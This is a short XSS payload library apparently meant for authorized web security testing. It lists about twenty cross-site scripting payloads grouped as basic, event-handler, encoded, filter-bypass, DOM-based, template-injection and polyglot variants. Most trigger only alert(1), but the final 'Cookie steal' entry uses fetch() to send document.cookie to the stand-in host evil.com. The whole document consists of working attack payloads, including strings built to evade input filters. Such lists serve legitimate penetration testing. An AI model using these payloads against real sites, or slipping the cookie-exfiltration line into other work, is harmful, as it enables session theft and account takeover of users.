XSS Payload Library

Curated XSS payloads for testing.

For authorized security testing only. Use responsibly in test environments.

Basic<script>alert("XSS")</script>

Basic<img src=x onerror=alert(1)>

Basic<svg onload=alert(1)>

Basicjavascript:alert(1)

Event handlers<input onfocus=alert(1) autofocus>

Event handlers<body onload=alert(1)>

Event handlers<details open ontoggle=alert(1)>

Encoded<script>alert(1)</script>

Encoded%3Cscript%3Ealert(1)%3C%2Fscript%3E

Encoded<script>alert(1)</script>

Bypass filters<ScRiPt>alert(1)</ScRiPt>

Bypass filters<script >alert(1)</script >

Bypass filters<img src=x onerror="alert`1`">

DOM-based#"><img src=x onerror=alert(1)>

DOM-based';alert(1)//

DOM-based"-alert(1)-"

Template literals${alert(1)}

Template literals{{constructor.constructor('alert(1)')()}}

Polyglotjavascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'>

Cookie steal<img src=x onerror="fetch('https://evil.com/?c='+document.cookie)">